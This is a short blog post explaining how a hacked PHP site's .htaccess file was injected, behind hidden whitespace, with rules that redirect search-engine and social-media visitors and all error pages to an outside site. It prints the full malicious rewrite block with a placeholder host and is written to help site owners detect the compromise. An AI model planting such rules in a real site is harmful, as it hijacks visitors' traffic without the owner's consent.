PHP searches re-directing automatically to strange URLs? Check your .htaccess files starting at the root level
A few days ago one of our clients’ sites got hacked due to a vulnerability in a script that was used. This was a well known PHP script and the manufacturer had put a patch in place. But after a few days, searches were randomly being re-directed to some Russian website. Checking the site on various systems and devices made it clear that this was not a browser hijack but a server based issue. Further checks found that the .htaccess file had been compromised and some re-direct instructions had been added to the .htaccess file along with a lot of whitespace before this code so that with a cursory glance, one would not see these additions.
Here is a sample of the modified .htaccess instructions:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv).(.*)
RewriteRule ^(.*)$ http://somesite [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline).(.*)
RewriteRule ^(.*)$ http://somesite [R=301,L]
ErrorDocument 400 http://somesite
ErrorDocument 401 http://somesite
ErrorDocument 403 http://somesite
ErrorDocument 404 http://somesite
ErrorDocument 500 http://somesite